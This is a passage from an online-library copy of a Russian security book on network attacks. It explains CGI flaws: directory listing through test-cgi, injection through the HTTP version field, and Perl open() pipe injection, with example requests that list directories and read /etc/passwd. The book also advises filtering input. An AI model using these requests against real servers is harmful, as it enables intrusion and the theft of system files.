Kniga-Online.club
» » » » Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

Читать бесплатно Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК. Жанр: Программы издательство неизвестно, год 2004. Так же читаем полные версии (весь текст) онлайн без регистрации и SMS на сайте kniga-online.club или прочесть краткое содержание, предисловие (аннотацию), описание и ознакомиться с отзывами (комментариями) о произведении.
Перейти на страницу:

Например, список всех остальных скриптов в текущем каталоге можно было просмотреть так: “GET /cgi-bin/test-cgi?*”. На первый взгляд, в этом ничего опасного в это нет, но на самом деле, просмотр содержимого каталогов, открывает возможность для целенаправленной атаки. В сочетании с возможностью использования перенаправления ввода в почтовых адресах, передаваемых приложению SendMail, простор содержимого директорий, приводит к угрозе целенаправленной атаки.

Пример, приведенный ниже, демонстрирует просмотр содержимого корневого каталога одного из серверов - http://www.project.aha.ru [292]. Если в адресной строке браузера набрать “http://www.project.aha.ru/cgi/test-cgi?/usr/*” [293], то ответ сервера должен выглядеть приблизительно так [294] (жирным шрифтом выделено содержимое поля QUERY_STRING, возвращающее результат обработки запроса):

·

GET /cgi-bin/test-cgi?/*· CGI/1.0 test script report:·· argc is 1. argv is /*.·· SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU· SERVER_NAME = home.project.aha.ru· GATEWAY_INTERFACE = CGI/1.1· SERVER_PROTOCOL = HTTP/1.1· SERVER_PORT = 80· REQUEST_METHOD = GET· HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*· PATH_INFO =· PATH_TRANSLATED =· SCRIPT_NAME = /cgi-bin/nph-test-cgi· QUERY_STRING = /6 /8 /bin /boot /bzImage-2.0.35 /bzImage-2.2.11 /bzImage-2.2.11-2 /bzImage-2.2.12 /cdrom /dev /etc /floppy /home /initrd /lib /lost+found /mnt /oak /proc /root /sbin /tmp /usr /var· REMOTE_HOST = ppp-09.krintel.ru· REMOTE_ADDR = 195.161.41.233· REMOTE_USER =· CONTENT_TYPE =· CONTENT_LENGTH =

Проблему решили установкой кавычек вокруг “$QUERY_STRING” [295]. Какое-то время это сдерживало злоумышленников, но инерция мышления подвела разработчиков и на этот раз. Считалось, что “$QUERY_STRING”, это единственный параметр, который передается серверу пользователем, поэтому на все остальные не обратили никакого внимания. Но оказалось, что большинство серверов (включая самый распространенный из них - Apache) не проверяют синтаксической корректности содержимого поля «версия HTTP», указываемой при передаче запроса. В результате этого появляется возможность подставить вместо нее любую строку, например, “/etc/*”. Демонстрация такой атаки приведена ниже [296] (жирным шрифтом выделено поле “SERVER_PROTOCOL”, которое при нормальном развитии событий должно содержать версию HTTP, используемую клиентом, а в данном случае список файлов и папок директории “/etc”):

· GET /cgi-bin/nph-test-cgi?* /usr/*·· HTTP/1.0 200 OK· Content-type: text/plain·· Server: Apache/1.3.0 (Unix) Debian/GNU·· CGI/1.0 test script report:·· argc is 1. argv is *.· SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU· SERVER_NAME = biophys.urcrm.chel.su· GATEWAY_INTERFACE = CGI/1.1· SERVER_PROTOCOL = /usr/7 /usr/X11R6 /usr/bin /usr/dict /usr/doc /usr/games /usr/include /usr/info /usr/lib /usr/local /usr/lost+found /usr/man /usr/sbin /usr/share /usr/src· SERVER_PORT = 80· REQUEST_METHOD = GET· HTTP_ACCEPT =· PATH_INFO =· PATH_TRANSL· ATED = SCRIPT_NAME = /cgi-bin/nph-test-cgi· QUERY_STRING = 1.pgsql 2.pgsql 2.pgsql~DEADJOE archie calendar capture date dwww-fig finger fortune htsearch imagemap· info2www-fig log logging.cgi~ log~ mailto.pl nph-test-cgi php3 test-cgi test-env· uptime wais.pl www-pgsql wwwcount.cgi· REMOTE_HOST = ppp-18.krintel.ru· REMOTE_ADDR = 195.161.41.242· REMOTE_USER =· CONTENT_TYPE =· CONTENT_LENGTH =

После исправления этой ошибки, настал черед “REMOTE_USER”, “CONTENT_TYPE”, “USER_AGENT” и т.д.

Отсюда вытекает ряд неутешительных заключений. Нельзя полагаться ни на какие стандартные библиотеки и творения сторонних разработчиков. Массовость и идентичность - вот основное оружие злоумышленников. Чтобы исследовать скрипт, прежде всего, необходимо получить его исходный код. На правильно сконфигурированном сервере это невозможно, но никакая защита не в состояние предотвратить анализ общедоступных программ. А, получив в свое распоряжение общедоступный скрипт, злоумышленник может попытаться обнаружить содержащиеся в нем ошибки. А, обнаружив, атаковать жертву, использующую такой скрипт.

Возникает противоречивая ситуация. Программировать самому не рекомендуется, ввиду отсутствия у подавляющего большинства необходимого опыта и навыков создания безопасных приложений. Но и фирменные разработки не застрахованы от ошибок. Так, поистине огромное количество ошибок содержится в расширениях к FrontPage (FPE).

Врезка «информация»

При установке FrontPage 1.1, файлы /_vti_pvt.administrator.pwd, /_vti_pvt/authors.pwd и /_vti_pvt/service.pwd по умолчанию становятся общедоступными и не требуют от пользователя авторизации.

Врезка «Информация»

После установки FPE на Apache, открывается доступ к директории /_vti_bin, с правами записи и исполнения файлов даже для неавторизированных пользователей.

Интуитивно кажется, - свои скрипты должны оказаться надежнее: какие бы ошибки не были допущены, недоступность исходного текста программы не позволит злоумышленнику их обнаружить (или, по крайней мере, чрезвычайно затруднит их поиск). Однако практика доказывает обратное. И не удивительно, - ведь программисты склонны к одним и те же типовым ошибкам.

С рассмотрения одной из них и началась эта глава (передача почтальону SendMail адреса, введенного пользователем). Разработчики часто используют вызов внешних программ для выполнения тех действий, реализовывать которые в самом скрипте было бы невозможно или чрезвычайно затруднительно. Опасность такого подхода заключается в том, что практически любое приложение обладает рядом недокументированных особенностей, и порой способно к непредсказуемому поведению. А это может быть использовано для проникновения на компьютер жертвы или его блокирования.

Если же полностью отказаться от использования внешних программ невозможно, рекомендуется выполнять фильтрацию ввода пользователя - до передачи данных внешней программе проанализировать их содержимое, проверяя корректность ввода пользователя. Фильтрацию желательно осуществлять во всех случаях, и контролировать все данные, даже никак не связанные с пользователем. Любые данные должны быть тщательно проверены до того, как они будут использованы. Очень распространенная ошибка - вызов служебной подпрограммы, оформленной в виде отдельного скрипта с передачей аргументов в командной строке. Многие разработчики склонны полагать, что такой скрипт всегда вызывается только их кодом, и забывают о проверке параметров.

Если таким образом попытаться открыть (и прочитать) файл, переданный как параметр, злоумышленник сможет выполнить любой код на сервере, от имени уязвимой программы. Причина заключается в том, что функция “open” языка Perl (на котором написано подавляющее большинство скриптов) интерпретирует символ “|” как конвейер и позволяет выполнить любую команду. Например, “open(H,”File |”)”, приведет к запуску, а не открытию файла “File”.

Вышесказанное демонстрирует фрагмент кода, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/open.pl”):

· open(FX,"$file");· while («FX»)· {· print;·}

Если значение переменной “$file” передается в командной строке (или через переменные окружения), злоумышленник получает возможность изменять его по своему усмотрению! Для проведения экспериментов можно воспользоваться следующим HTML-кодом, который размещен на сервере http://hpnc.webprovider.com/open.htm

· «html»·· «head»· «title»OPEN's Demo«/title»· «/head»·· «body»· «H1»«CENTER»OPEN's Demo«/h1»«/center»· «HR»· «div align="center"»· «form method="POST" action="open.pl"»· «br»Enter file name or "command |"«br»«br»· «input type="text" size="60" maxlength="200" name="file" value="echo Hello,Sailor! |"»· «input type="submit" value="Exec"»· «/form»· «/div»· «HR»· «/body»·· «/html»

Если в качестве имени файла указать “echo Hello,Sailor! |”, спустя мгновение приветствие «Hello, Sailor» отобразится в окне браузера, подтверждая своим появлением успешность выполнения команды “echo”.

А для просмотра содержимого корневого каталога достаточно ввести команду “ls * |”, результат работы которой может выглядеть, например, так:

· apache

· bin

· boot

· cdrom

· dev

· disk1

· etc

· floppy

· home

· httpd

· usr

Узнать, какие файлы и подкаталоги находятся в директории “/bin” (в тексте ее имя выделено жирным шрифтом), можно с помощью следующей команды: “ls /bin/* |”, результат работы которой показан ниже:

· ae arch bash buildh cat

· chgrp chmod chown chsh cp

· cpio cptar cptar~ csh date

· dbish dd df dir dmesg

· echo ed egrep false fdflush

· fgrep fuser grep gsu gunzip

· gzip hostname htp2ftp.pl htp2ftp.pl~ httpd

· i8sql kill ksh ln loadkeys

· login ls mkdir mknod mktemp

· more mount mt mv netstat

· pico ping ps pwd rbash

· rm rmdir rsh run-parts sed

· setserial sh sleep stty su

· sync tar tcsh tempfile texhash

· true umount uname uncompress vdir

· vi vworld xem xem~ zcat

Любой их этих файлов может быть запущен аналогичным способом. Так, например, утилита “more” (ее имя выделено жирным шрифтом) позволяет просмотреть содержимое файла “/etc/passwd”, или любого другого файла указанного в командной строке. Это может выглядеть так:

· GET open.pl?more%20/etc/passwd%20|

·:::::::::::::: /etc/passwd::::::::::::::

· root:x:0:0:root:/root:/bin/bash

· daemon:x:1:1:daemon:/usr/sbin:/bin/sh

· bin:x:2:2:bin:/bin:/bin/sh

· sys:x:3:3:sys:/dev:/bin/sh

· sync:x:4:100:sync:/bin:/bin/sync

· games:x:5:100:games:/usr/games:/bin/sh

· man:x:6:100:man:/var/catman:/bin/sh

· lp:x:7:7:lp:/var/spool/lpd:/bin/sh

· mail:x:8:8:mail:/var/spool/mail:/bin/sh

Перейти на страницу:

Крис Касперский читать все книги автора по порядку

Крис Касперский - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки kniga-online.club.


ТЕХНИКА СЕТЕВЫХ АТАК отзывы

Отзывы читателей о книге ТЕХНИКА СЕТЕВЫХ АТАК, автор: Крис Касперский. Читайте комментарии и мнения людей о произведении.


Уважаемые читатели и просто посетители нашей библиотеки! Просим Вас придерживаться определенных правил при комментировании литературных произведений.

  • 1. Просьба отказаться от дискриминационных высказываний. Мы защищаем право наших читателей свободно выражать свою точку зрения. Вместе с тем мы не терпим агрессии. На сайте запрещено оставлять комментарий, который содержит унизительные высказывания или призывы к насилию по отношению к отдельным лицам или группам людей на основании их расы, этнического происхождения, вероисповедания, недееспособности, пола, возраста, статуса ветерана, касты или сексуальной ориентации.
  • 2. Просьба отказаться от оскорблений, угроз и запугиваний.
  • 3. Просьба отказаться от нецензурной лексики.
  • 4. Просьба вести себя максимально корректно как по отношению к авторам, так и по отношению к другим читателям и их комментариям.

Надеемся на Ваше понимание и благоразумие. С уважением, администратор kniga-online.


Прокомментировать
Подтвердите что вы не робот:*
Подтвердите что вы не робот:*